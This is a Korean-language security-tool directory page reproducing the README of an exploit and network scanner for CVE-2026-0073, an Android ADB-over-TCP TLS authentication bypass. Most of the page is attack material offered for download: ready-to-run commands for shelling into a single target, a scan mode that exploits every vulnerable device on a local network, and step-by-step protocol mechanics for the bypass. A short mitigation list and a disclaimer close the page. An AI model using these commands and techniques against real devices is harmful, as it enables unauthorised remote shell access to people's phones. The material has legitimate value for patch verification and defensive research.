Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/unnaim/adbhijacker
Android SecurityReconnaissanceVulnerability AnalysisExploitationNetwork SecurityPenetration TestingMobile SecurityRemote Access Tool
GitHubunnaim/adbhijacker

adbHijacker

CVE-2026-0073에 대한 PoC 도구로, Android 11+ 기기에서 adb over tcp가 활성화된 패치되지 않은 모든 기기에 즉각적인 제로 클릭 RCE를 허용합니다.

저장소 보기
723개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-0073 — Android ADB TLS 인증 우회

CVE-2026-0073에 대한 개념 증명 익스플로잇 및 네트워크 스캐너입니다. 이는 Android adbd의 ADB-over-TCP 인증 경로에서 발생하는 치명적인 제로클릭(사용자 상호작용 불필요) 원격 코드 실행 취약점입니다.

이 취약점은 adbd_tls_verify_cert()(daemon/auth.cpp)의 로직 버그로, EVP_PKEY_cmp()가 불리언 조건문으로 처리되는 데서 발생합니다. 저장된 RSA 키가 비-RSA TLS 클라이언트 인증서(EC P-256 또는 Ed25519)와 비교될 때, API는 -1(유형 불일치)을 반환하며, 이는 C/C++에서 참(truthy) 으로 간주됩니다. 이로 인해 교차 알고리즘 불일치가 성공적인 호스트 키 일치로 승격되어 인증을 완전히 우회하게 됩니다.

기술 세부 정보는 BARGHEST에서 확보했습니다.
기본 PoC 코드는 SecTestAnnaQuinn에서 가져왔습니다.
2026년 5월 Android 보안 게시판에서 패치되었습니다.


영향

속성세부 정보
공격 벡터네트워크(인접 / 근접)
상호작용없음(제로클릭)
획득 권한shell 사용자(uid=2000), SELinux u:r:shell:s0
익스플로잇 원시 동작ADB를 통한 원격 셸 접근
CVSS치명적(9.8)

shell 컨텍스트에서 공격자는 시스템 속성, 프로세스 상태, 로그, 알림을 검사할 수 있고, 패키지를 설치 및 제거할 수 있으며, 디버깅 가능한 애플리케이션에 대해 run-as를 사용할 수 있고, 후속 익스플로잇을 준비할 수 있습니다.


파일

파일용도
adb_tls_auth_bypass.py단일 대상 익스플로잇 PoC(SecTestAnnaQuinn 원본, 체크섬 패치 적용)
adbt_scanner.py네트워크 스캐너 — 취약한 장치 탐지 + 익스플로잇
requirements.txtPython 의존성

사전 요구 사항(대상 장치)

익스플로잇이 성공하려면 대상 Android 장치에 다음이 있어야 합니다:

  1. 개발자 옵션 활성화
  2. 무선 디버깅 또는 ADB-over-TCP 활성화(플랫폼 adbd TCP 서비스)
  3. /data/misc/adb/adb_keys에 이전에 페어링된 RSA 호스트 키가 하나 이상 존재
  4. ADB TCP 포트(기본값 5555)에 대한 네트워크 연결 가능성

설정

root@kitploit:~
# 가상 환경 생성
uv venv

# 활성화
source .venv/bin/activate

# 의존성 설치
uv pip install -r requirements.txt

의존성:

선택 패키지가 없으면 스캐너는 정상적으로 동작을 축소합니다 — 경고를 표시하고 대체 방법(시스템 ip 명령, nmap, TCP 연결 스캔)으로 폴백합니다.


사용법

모드 0 — 직접 단일 대상 익스플로잇

알려진 취약한 장치를 직접 공격합니다.

root@kitploit:~
python3 adb_tls_auth_bypass.py 192.168.1.42              # 대화형 셸
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

또는 스캐너를 통해:

root@kitploit:~
python3 adbt_scanner.py --host 192.168.1.42                # 대화형 셸
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

모드 1 — 네트워크 스캔, 식별, 익스플로잇

로컬 네트워크에서 취약한 장치를 스캔하고 확인된 모든 대상을 익스플로잇합니다.

root@kitploit:~
# 전체 스캔: mDNS → ARP → 포트 스캔 → ADB 프로브 → 익스플로잇
python3 adbt_scanner.py --scan

# 모든 취약한 장치에서 특정 명령 실행
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# 정찰만 — 탐지하되 익스플로잇하지 않음
python3 adbt_scanner.py --scan --no-exploit

# 여러 포트 스캔
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# 감지된 서브넷 재정의(멀티 호밍 호스트, 특정 범위)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# 느린 네트워크를 위한 타임아웃 조정
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# mDNS 수신 창 확장
python3 adbt_scanner.py --scan --mdns-timeout 60

# 특정 탐지 단계 건너뛰기
python3 adbt_scanner.py --scan --no-mdns    # mDNS 건너뛰기, ARP만
python3 adbt_scanner.py --scan --no-arp     # ARP 건너뛰기, mDNS만

스캐너 CLI 참조

root@kitploit:~
--scan                    네트워크에서 취약한 장치 스캔 + 익스플로잇
--host HOST               직접 단일 대상 익스플로잇
--port PORT               --host 모드의 ADB 포트(기본값: 5555)
--cmd COMMAND             실행할 셸 명령
-v, --verbose             상세 로깅

--mdns-timeout SECONDS    mDNS 수신 시간(기본값: 30)
--ports PORTS             --scan 모드의 쉼표로 구분된 포트(기본값: 5555)
--subnet CIDR             감지된 서브넷 재정의(예: 192.168.2.0/24)
--connect-timeout SECONDS TCP 연결 타임아웃(기본값: 2.0)
--probe-timeout SECONDS   ADB 프로브 타임아웃(기본값: 3.0)
--arp-timeout SECONDS     ARP 스캔 타임아웃(기본값: 3)
--no-mdns                 mDNS 탐지 건너뛰기
--no-arp                  ARP 스캔 + 포트 스캔 건너뛰기
--no-exploit              ADB 프로토콜 프로브 단계 후 중지

탐지 파이프라인

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ 1. 서브넷 탐지  — netifaces → ip route → socket 트릭        │
│ 2. mDNS 리스너  — _adb-tls-connect._tcp(기본 30초)          │
│ 3. ARP 스캔     — scapy.arping → nmap -sn                   │
│ 4. 포트 스캔    — 각 호스트:포트에 TCP 연결                 │
│ 5. ADB 프로토콜 프로브 — CNXN 전송, 응답 분류               │
│                                                             │
│    STLS   → 취약(익스플로잇 진행)                           │
│    AUTH   → 레거시 ADB 인증(이 CVE 아님)                    │
│    CNXN   → 열림, 인증 없음(이미 접근 가능)                 │
│    NO_ADB → ADB 서비스 아님                                 │
│                                                             │
│ 6. 익스플로잇  — TLS 업그레이드 → 인증 우회 → 셸           │
└─────────────────────────────────────────────────────────────┘

mDNS가 가장 정확한 식별 방법입니다: 무선 디버깅이 페어링되면 Android가 _adb-tls-connect._tcp를 명시적으로 브로드캐스트합니다. ARP 스캔 + 포트 스캔은 포괄적 폴백 역할을 합니다.


익스플로잇 메커니즘

root@kitploit:~
1단계 — 평문 ADB
  클라이언트 → CNXN(payload="host::features=...")
  장치 → STLS  (TLS 업그레이드 필요)

2단계 — 교차 알고리즘 클라이언트 인증서를 사용한 TLS 1.3
  클라이언트 → STLS 응답
  클라이언트 → TLS 1.3 핸드셰이크 + EC P-256 클라이언트 인증서
  장치가 adbd_tls_verify_cert() 호출:
    known_evp = /data/misc/adb/adb_keys의 RSA 키
    evp_pkey  = 클라이언트 인증서의 EC P-256 키
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1(유형 불일치)
    if (-1) → verified = true   ← 버그: -1은 참(truthy)

3단계 — TLS 이후 ADB 서비스 계층
  클라이언트가 장치 CNXN 소진(전송 이미 온라인)
  호스트 CNXN 미전송(handle_new_connection 킥 유발 방지)
  클라이언트 → OPEN(local_id, window=32MB, payload="shell:\x00")
  장치 → OKAY  → 셸 스트림 수립

위협 모델

직접 네트워크 노출

  • 신뢰할 수 없는 네트워크(카페, 사무실, 컨퍼런스)에서 무선 디버깅을 활성화한 채 방치
  • 포트 5555에서 인터넷에 노출된 ADB(노출 연구 중 한국에서만 10,000개 이상의 장치 관찰됨)

악성코드 기반 상태 생성

  • 장치 내 악성코드가 접근성 서비스를 사용하여 개발자 옵션을 활성화하고, 무선 디버깅을 켜고, 호스트 키를 페어링하여 네트워크 피어의 원격 익스플로잇을 위한 장치를 준비

제한 사항

  • 루트 아님. 익스플로잇은 shell(uid=2000) 컨텍스트를 제공합니다. 커널 침해, 루트 접근, 하드웨어 기반 키스토어 키는 추가적인 권한 상승이 필요합니다.
  • 페어링된 키 필요. 대상은 /data/misc/adb/adb_keys에 RSA 호스트 키가 하나 이상 있어야 합니다. 무선 디버깅이 활성화되었지만 한 번도 페어링되지 않은 초기화된 장치는 취약하지 않습니다.
  • STLS 경로 필요. 레거시(비-TLS) 메커니즘을 통해 TCP로 ADB를 제공하는 장치는 STLS가 아닌 AUTH로 응답하며 이 CVE의 영향을 받지 않습니다.
  • 패치된 장치는 면역. 2026년 5월 Android 보안 게시판에는 EVP_PKEY_cmp 검사를 정확한 == 1 반환 값을 요구하도록 변경하는 수정 사항이 포함되어 있습니다.

완화 조치

  • 패치를 적용하세요.
  • 필요하지 않을 때는 개발자 옵션을 비활성화하세요.
  • 무선 디버깅을 비활성화하세요.
  • 로컬 신뢰 네트워크 밖으로 ADB를 노출하지 마세요.

참고 자료

  • Android 보안 게시판 — 2026년 5월
  • BARGHEST 기술 분석
  • Android 감사 인사
  • BoringSSL 커밋 — EVP_PKEY_cmp 반환 값 정규화
  • Morpheus 스파이웨어 보고서 — Osservatorio Nessuno
  • MESH — BARGHEST의 Android 보안 도구

면책 조항

이 소프트웨어는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 이 저장소의 도구와 코드는 보안 전문가, 연구자, 장치 소유자가 다음을 수행하도록 돕기 위한 것입니다:

  • CVE-2026-0073이 프로토콜 수준에서 어떻게 작동하는지 이해
  • 자신의 장치와 네트워크를 감사하고 평가
  • 완화 조치를 개발하고 테스트

이 소프트웨어를 다음 용도로 사용해서는 안 됩니다:

  • 소유하지 않았거나 명시적인 서면 허가를 받지 않은 장치 또는 네트워크에 대한 공격
  • 불법적인 목적 또는 관련 법률 위반
  • 승인 없이 데이터에 접근, 수정, 또는 유출

무단 컴퓨터 시스템 접근은 대부분의 관할권에서 불법이며 형사 및 민사 처벌을 초래할 수 있습니다. 저자와 기여자는 이 소프트웨어 사용으로 인해 발생하는 오용, 손해 또는 법적 결과에 대해 책임을 지지 않습니다.

책임감 있게 사용하세요. 대상을 파악하세요. 허가를 받으세요.


라이선스

CC0 1.0 Universal — 저작권 없음.

법이 허용하는 범위 내에서 저자는 이 저작물에 대한 모든 저작권 및 관련 권리 또는 인접 권리를 포기했습니다.

도구 다운로드
패키지사용처필수 여부
cryptography두 스크립트 모두(EC 인증서 생성, TLS)예
netifaces스캐너(서브넷 탐지)권장
zeroconf스캐너(mDNS 탐지)권장
scapy스캐너(ARP 스캔)권장